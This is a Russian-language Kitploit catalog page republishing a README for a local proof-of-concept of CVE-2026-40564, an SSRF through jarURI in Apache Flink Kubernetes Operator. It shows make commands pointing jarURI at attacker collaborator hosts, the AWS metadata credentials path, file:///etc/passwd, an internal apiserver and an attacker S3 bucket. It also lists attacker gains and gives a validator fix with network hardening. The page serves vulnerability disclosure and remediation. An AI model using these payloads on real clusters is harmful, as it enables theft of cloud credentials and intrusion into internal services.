Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/oscerd/cve-2026-40564
Безопасность контейнеровАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеБезопасность облачных сред
GitHuboscerd/cve-2026-40564

CVE-2026-40564

CVE-2026-40564: SSRF через jarURI FlinkSessionJob в apache/flink-kubernetes-operator. Автономный воспроизводитель, который запускается на локальном kind-кластере одной командой make.

Репозиторий
23 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-40564: SSRF через FlinkSessionJob.spec.job.jarURI в flink-kubernetes-operator

Apache Flink Kubernetes Operator не проверяет поле spec.job.jarURI в ресурсах FlinkSessionJob (или FlinkDeployment). Любой, кто может создать такой ресурс, может установить jarURI в любой URL. Когда оператор выполняет сверку (reconcile) ресурса, он загружает этот URL изнутри своего пода. Схема может быть http, https, file или любой из файловых плагинов, поставляемых с Flink, поэтому запрос может уйти практически куда угодно, куда может дотянуться под оператора.

  • CVE: CVE-2026-40564
  • Затронуто: flink-kubernetes-operator 1.14.0 и main (1.15-SNAPSHOT по состоянию на 2026-04-09)
  • Сообщено в [email protected] и [email protected] 2026-04-09
  • Цепочка вызовов: SessionJobReconciler.deploy -> submitJobToSessionCluster -> uploadJar -> ArtifactManager.fetch -> HttpArtifactFetcher.fetch

Запуск

root@kitploit:~
make verify

При этом последовательно выполняются пять шагов:

  1. создание локального kind-кластера
  2. установка оператора (1.14.0) с помощью Helm
  3. запуск Flink session-кластера и ожидание появления его JobManager
  4. запрос свежего URL у webhook.site, затем применение FlinkSessionJob, чей jarURI указывает на него
  5. опрос webhook.site и вывод полученных запросов

Когда всё работает, конец запуска выглядит так:

root@kitploit:~
==> [5/5] verify-ssrf
    target jarURI: https://webhook.site/<uuid>/exploit.jar
    target is webhook.site, confirming via its REST API...

    === webhook.site captured requests (newest first) ===
      2026-05-28 17:35:29  GET https://webhook.site/<uuid>/exploit.jar
        User-Agent: Java/17.0.17
        Source IP:  82.51.158.62

    CVE-2026-40564 CONFIRMED: the operator pod issued an HTTP GET against the attacker URL.
    Dashboard: https://webhook.site/#!/view/<uuid>

Первый запуск занимает около 6–8 минут. Бо́льшая часть этого времени уходит на загрузку образа flink:1.17, который весит около 700 МБ. Последующие запуски занимают около 3 минут.

Что потребуется

docker, kind, kubectl 1.23 или новее, helm 3, make, curl и jq. Кластер должен иметь доступ в интернет, чтобы взаимодействовать с webhook.site.

Направление запроса на другой URL

По умолчанию Makefile сам получает свежий URL webhook.site. Чтобы отправить запрос куда-то ещё, задайте SSRF_URL — полный jarURI, который нужен. Он используется как есть.

root@kitploit:~
# reuse a specific webhook.site URL
make verify SSRF_URL=https://webhook.site/8a2f1e3c-aaaa-bbbb-cccc-dddddddddddd/exploit.jar

# your own collaborator (Burp, interactsh, a netcat listener, and so on)
make verify SSRF_URL=https://abc123.oast.fun/exploit.jar

# the AWS instance metadata service
make verify SSRF_URL=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# a non-http scheme handled by Flink's filesystem layer
make verify SSRF_URL=file:///etc/passwd

Способ подтверждения результата зависит от цели. Если URL находится на webhook.site, Makefile читает его REST API и выводит перехваченные запросы. Для всего остального он читает лог оператора и ищет кадр стека HttpArtifactFetcher.fetch, который показывает, что загрузка выполнялась. WEBHOOK_URL тоже работает и означает то же самое, что и SSRF_URL.

Очистка

root@kitploit:~
make cleanup

Эта команда удаляет kind-кластер. Ничего не остаётся.

Почему это происходит

Задействованы три класса, и ни один из них не смотрит на схему, хост или IP в jarURI.

DefaultValidator.validateJobSpec проверяет параллелизм, режим обновления, настройки savepoint и форму ресурсов. Он никогда не читает job.getJarURI():

root@kitploit:~
private Optional<String> validateJobSpec(
        JobSpec job, @Nullable TaskManagerSpec tm, Map<String, String> confMap) {
    if (job == null) return Optional.empty();
    Configuration configuration = Configuration.fromMap(confMap);
    // ... parallelism / upgradeMode / savepoint / resource checks ...
    // job.getJarURI() is never inspected.
    return Optional.empty();
}

ArtifactManager.fetch выбирает загрузчик по схеме. Никакого разрешённого списка нет, и всё, что не является http или https, попадает в файловый слой Flink:

root@kitploit:~
public File fetch(String jarURI, Configuration flinkConfiguration, String targetDirStr) throws Exception {
    URI uri = new URI(jarURI);
    if ("http".equals(uri.getScheme()) || "https".equals(uri.getScheme())) {
        return HttpArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir);
    } else {
        return FileSystemBasedArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir);
    }
}

HttpArtifactFetcher.fetch открывает URL как есть. Никакой проверки хоста, никакой проверки диапазонов IP и ничто не мешает обращаться к loopback или link-local адресам:

root@kitploit:~
public File fetch(String uri, Configuration flinkConfiguration, File targetDir) throws Exception {
    URL url = new URL(uri);
    HttpURLConnection conn = (HttpURLConnection) url.openConnection();
    conn.setRequestMethod("GET");
    File targetFile = new File(targetDir, FilenameUtils.getName(url.getPath()));
    try (var inputStream = conn.getInputStream()) {
        FileUtils.copyToFile(inputStream, targetFile);
    }
    return targetFile;
}

Что получает атакующий

Обычно оператор работает с широкими правами RBAC. Официальный Helm-чарт выдаёт * на несколько типов ресурсов, включая секреты, и под, как правило, имеет неограниченный доступ к сети. Если вам удастся заставить его отправлять запросы, вы можете:

  • читать облачные metadata-сервисы (AWS, GCE, Azure) и получать IAM-учётные данные, привязанные к узлу оператора
  • обращаться к сервисам внутри кластера, которые слушают только внутреннюю сеть или доверяют исходному IP оператора
  • вслепую сканировать внутренние порты, читая результат из сообщения об ошибке в статусе FlinkSessionJob
  • использовать file, s3, hdfs, gs или любую другую файловую схему Flink для чтения локальных файлов или обращения к хранилищам, до которых оператор может дотянуться, а вы — нет

В общем кластере, где один и тот же оператор используют несколько команд, любая из них может применить его для доступа к ресурсам другой команды.

Другие рабочие URL

Репродуктор по умолчанию использует webhook.site, но багу безразлично, какой URL задан. Установите SSRF_URL или отредактируйте manifests/vulnerable-sessionjob.yaml, выбрав один из вариантов:

Как исправить

Добавьте проверку в DefaultValidator.validateJobSpec:

root@kitploit:~
if (job.getJarURI() != null) {
    Optional<String> uriError = validateJarURI(job.getJarURI(), configuration);
    if (uriError.isPresent()) return uriError;
}
root@kitploit:~
private Optional<String> validateJarURI(String jarURI, Configuration conf) {
    URI uri;
    try {
        uri = new URI(jarURI);
    } catch (URISyntaxException e) {
        return Optional.of("jarURI is not a valid URI: " + e.getMessage());
    }
    String scheme = uri.getScheme();
    if (scheme == null) return Optional.of("jarURI must include a scheme");

    Set<String> allowed = conf.get(KubernetesOperatorConfigOptions.JAR_URI_ALLOWED_SCHEMES);
    if (!allowed.contains(scheme.toLowerCase(Locale.ROOT))) {
        return Optional.of("jarURI scheme '" + scheme + "' is not in the allowlist");
    }
    if ("http".equalsIgnoreCase(scheme) || "https".equalsIgnoreCase(scheme)) {
        InetAddress addr;
        try {
            addr = InetAddress.getByName(uri.getHost());
        } catch (UnknownHostException e) {
            return Optional.of("jarURI host cannot be resolved");
        }
        if (addr.isLoopbackAddress() || addr.isLinkLocalAddress()
                || addr.isSiteLocalAddress() || addr.isAnyLocalAddress()) {
            return Optional.of("jarURI host points to a restricted address");
        }
    }
    return Optional.empty();
}

Задайте KubernetesOperatorConfigOptions.JAR_URI_ALLOWED_SCHEMES значение по умолчанию Set.of("https"). Операторам, которым нужна s3 или другая схема, достаточно добавить её.

Стоит сделать ещё две вещи:

  • Добавьте NetworkPolicy для пода оператора, которая блокирует исходящие соединения на link-local (169.254.0.0/16), loopback и известные адреса облачных metadata-сервисов.
  • На AWS включите IMDSv2. Тогда даже работающий SSRF не сможет прочитать metadata-сервис без session token, а у оператора нет причин его отправлять.

Примечания

Makefile обходит две проблемы, которые ломают kind на Linux. Каждая проверка выполняется только тогда, когда проблема действительно присутствует, так что повторный запуск безопасен.

  1. Проброс CoreDNS на loopback. При использовании systemd-resolved файл /etc/resolv.conf узла kind указывает на 127.0.0.1, поэтому кластер резолвит внешние имена в localhost. Шаг cluster-up перезаписывает конфигурацию CoreDNS, чтобы она пробрасывала запросы на 1.1.1.1 и 8.8.8.8.
  2. Наследование подом оператора DNS search-доменов хоста. При ndots, равном 5, к имени вроде webhook.site сначала добавляются search-домены хоста, и некоторые провайдеры отвечают 127.0.0.1 на незнакомые поддомены. Шаг install-operator выдаёт поду оператора собственный dnsConfig, чтобы этого не происходило.

Если полный запуск прервётся на полпути, вы можете выполнить make verify-ssrf отдельно. Он читает jarURI из живого FlinkSessionJob, поэтому не зависит от каких-либо локально сохранённых данных.

Скачать инструмент
jarURI
Доступ
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>AWS IMDSv1, IAM-учётные данные узла пода оператора
http://10.0.0.1:6443/apiВнутрикластерный apiserver или любой внутренний endpoint, который добавляет IP оператора в белый список
file:///etc/passwdСобственная файловая система пода оператора, через ветку файлового загрузчика
s3://attacker-bucket/x.jarS3, с использованием учётных данных пода оператора